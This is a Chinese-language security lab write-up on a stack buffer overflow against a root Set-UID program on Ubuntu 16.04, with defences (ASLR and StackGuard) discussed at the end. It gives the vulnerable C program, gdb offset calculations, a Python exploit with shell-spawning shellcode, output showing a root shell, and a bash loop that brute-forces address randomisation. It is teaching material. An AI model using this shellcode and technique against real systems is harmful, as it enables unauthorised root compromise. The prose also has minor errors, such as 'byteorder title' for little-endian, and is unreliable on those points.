預備環境
Ubuntu16.04
程序stack.c、exploit.py
預備知識
strcpy()這個函數用於複製字符串,遇到字符’\0’時將停止複製,’\0’字符ASCII值爲0.
緩衝區溢出攻擊的目標在於覆蓋函數返回地址,使其指向注入的惡意指令的地址。
開始實驗
關閉地址空間隨機化
準備存在漏洞的程序stack.c#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof ( char * str)
{
char buffer[ BUF_SIZE] ;
strcpy ( buffer, str) ;
return 1 ;
}
int main ( int argc, char * * argv)
{
char str[ 517 ] ;
FILE * badfile;
char dummy[ BUF_SIZE] ;
memset ( dummy, 0 , BUF_SIZE) ;
badfile = fopen ( "badfile" , "r" ) ;
fread ( str, sizeof ( char ) , 517 , badfile) ;
bof ( str) ;
printf ( "Returned Properly\n" ) ;
return 1 ;
}
上面程序從badfile中讀取517字節的數據,然後把它們複製到長度爲24字節的緩衝區buffer中。
可以簡單的將惡意代碼放入badfile中,當程序讀取文件時,惡意代碼被載入str數組,當程序將str中的內容複製到目標緩衝區時,惡意代碼就被存入棧中,惡意代碼被放到badfile文件的末尾。
下一步,需要迫使程序跳轉到內存的惡意代碼,爲了達到這個目的,可以利用代碼中的緩衝區溢出問題修改返回地址,如果知道惡意代碼存放的位置,就能夠簡單地使用這個地址來覆蓋返回地址所在的內存區域,當foo()函數返回時,程序就會跳轉到惡意代碼存放的地址。
實驗攻擊的目標是一個擁有root權限的Set-UId程序,,假如成功對該Set-UID程序發起緩衝區溢出攻擊,注入的惡意代碼一旦被執行,則將以root權限運行:
[ 07/06/20] seed@VM:~/code$ gcc -o stack -z execstack -fno-stack-protector stack.c
[ 07/06/20] seed@VM:~/code$ sudo chown root stack
[ 07/06/20] seed@VM:~/code$ sudo chmod 4755 stack
-z execstack:在默認情況下,一個程序的棧是不可執行的,因此在棧上注入惡意代碼也是無法執行的,該保護機制稱作不可執行棧,但是-z execstack選項設置棧爲可執行的。
-fno-stack-protector:關閉了一個稱爲StackGuard的保護機制,它能夠抵禦基於棧的緩衝區溢出攻擊,它的主要思想是在代碼中添加一些特殊數據和檢查機制,從而可以檢測到緩衝區溢出的發生。
通過調試程序找到地址
直接調試這個程序,並打印出foo()函數被調用時幀指針的值。當以普通用戶身份調試一個Set-UID特權程序時,程序並不會以特殊權限運行,因此在調試器中直接改變程序行爲並不能獲得任何權限。
重新編譯程序,加入調試信息(-g選項)[ 07/06/20] seed@VM:~/code$ touch badfile
[ 07/06/20] seed@VM:~/code$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
[ 07/06/20] seed@VM:~/code$ gdb stack_dbg
GNU gdb ( Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
.. .
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 13.
gdb-peda$ run
Starting program: /home/seed/code/stack_dbg
[ Thread debugging using libthread_db enabled]
.. ..
Breakpoint 1, bof ( str= 0xbffff1a7 "\bB\003" ) at stack.c:13
warning: Source file is more recent than executable.
13 strcpy( buffer, str) ;
gdb-peda$ p $ebp
$1 = ( void *) 0xbffff168
gdb-peda$ p & buffer
$2 = ( char ( *) [ 24] ) 0xbffff148
gdb-peda$ p/d 0xbffff168 - 0xbffff148
$3 = 32
gdb-peda$ quit
在gdb中,通過b foo命令在bof()函數處設置一個斷點,接着用run命令來運行程序,程序將在bof()函數內停下來,這時可以使用gdb的p指令(p指令默認用六十進制打印,p/d表示用十進制打印)來打印幀指針ebp的值以及buffer地址。
從上面的結果可以看出,幀指針的值是0xbffff168,因此返回地址保存在0xbffff168+4,並且第一個NOP指令在0xbffff168+8,因此可以將0xbffff168+8作爲惡意代碼的入口地址,把它寫入返回地址字段中。
由於輸入將被複制到buffer中,爲了讓輸入的返回地址字段準確地覆蓋棧中的返回地址區域,需要知道棧中buffer和返回地址之間的距離,這個距離就是返回地址字段在輸入數據中的相對位置。
通過計算,可以看到從buffer起始地址到ebp之間的距離爲32,由於返回地址區域在ebp指向位置上面的4字節,由此可以知道返回地址區域到buffer之間的距離爲36.
構造輸入文件
exploit.py
import sys
shellcode= (
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68" "//sh"
"\x68" "/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
) . encode( 'latin-1' )
content = bytearray ( 0x90 for i in range ( 517 ) )
start = 517 - len ( shellcode)
content[ start: ] = shellcode
ret = 0xbffff168 + 100
offset = 36
content[ offset: offset + 4 ] = ( ret) . to_bytes( 4 , byteorder= 'little' )
with open ( 'badfile' , 'wb' ) as f:
f. write( content)
shellcode中存放就是惡意代碼,在第一部分創建了一個長度爲517個字節的byte數組,並用0x90(NOP)填充整個數組,最後把惡意代碼放到數組的尾部(第二部分所示)。
這裏使用0xbffff168 + 100作爲返回值,需要把它填入到content數組的返回值區域,由之前的gdb調試結果可知,返回值區域從第36個字節開始,到第40個字節結束,不包括第40個字節,所以設置offset = 36, 用[offset:offset+4]來存儲返回地址。
在x86等體系結構的計算機使用的是小端字節順序,一個多字節組成的數據在內存中存放時,最低位字節放到低地址處,因此把一個4字節的地址寫入內存時,用byteorder='title’來指明使用小端字節順序。
地址沒有使用0xbffff168+8是因爲,在gdb中和程序實際運行中有可能不同,gdb可能在執行時往棧壓入了一些額外的數據,可能比直接運行程序時棧幀更深一些。
0xbffff168 + n不應該使用任何字節包含0,因爲’\0’的ASCII碼值爲0x00,strcpy函數碰到00會停止複製內容到緩衝區,因此會造成緩衝區溢出攻擊的失敗。
運行程序[ 07/06/20] seed@VM:~/code$ ./exploit.py
[ 07/06/20] seed@VM:~/code$ ./stack
uid= 1000( seed) gid= 1000( seed) euid= 0( root) groups= 1000( seed) ,4( adm) ,24( cdrom) ,27( sudo) ,30( dip) ,46( plugdev) ,113( lpadmin) ,128( sambashare)
可以看到成功獲得了root的shell權限。
防禦措施
地址空間隨機化
地址空間隨機化(ASLR)是針對緩衝區溢出攻擊的防禦措施之一,ASLR對程序內存中的一些關鍵數據區域進行隨機化,包括棧的位置、堆和庫的位置等,目的讓攻擊者難以猜測所注入的惡意代碼在內存中的具體位置。
用戶可以通過設置一個內核變量kernel.randomize_va_space告知加載器它們想要使用的地址隨機化類型。
kernel.randomize_va_space = 0,不啓用地址隨機化。
kernel.randomize_va_space = 1,啓用棧地址隨機化,堆不啓用。
kernel.randomize_va_space = 2,棧和堆都啓用地址隨機化。
衡量地址空間隨機程度的一種方式是熵,如果一個內存空間區域擁有n比特熵,這表明系統上該區域的基地址由2n 等可能的位置。
在32爲Linux系統中,棧只有19bit的熵,意味着棧只有219 中可能性,這個數字並不大,他能被輕易暴力破解。
編寫一下腳本來實現緩衝區溢出攻擊:#!/bin/bash
SECONDS= 0
value= 0
while [ 1 ]
do
value= $(( $value + 1 ))
duration= $SECONDS
min= $(( $duration / 60 ))
sec= $(( $duration % 60 ))
echo "$min minutes and $sec seconds elapsed"
echo "The program has been running $value times so far"
./stack
done
在之前的攻擊中,已經把惡意代碼寫入到badfile中,由於地址隨機化,該文件中放入的地址可能時錯的,隨着腳本不斷的運行,程序不斷的執行,總有一次程序加載的基地址能夠正好命中badfile中的地址。
StackGuard
可以在緩衝區到返回地址之間放置一個不可預測的值,在函數返回之前,檢查這個值是否被修改,如果值被修改,則返回地址很大可能被修改了,因此,檢測返回地址是否被覆蓋的問題變成了哨兵值是否被修改的問題。
在gcc中編譯時默認開啓,可以使用-fno-stack-protector關閉該選項。
對於StackGuard方案中,存放canary(哨兵)中的祕密數需要滿足兩個條件:
隨機的:可以通過使用/dev/urandom初始化canary來確保。
它的備份不能保存在棧中:在Linux中,GS寄存器指向的內存段是一個特殊的區域,不同於棧、堆、BSS段、數據段和代碼段,GS與棧物理隔離,因此堆棧緩衝區溢出不會影響GS段中的任何數據。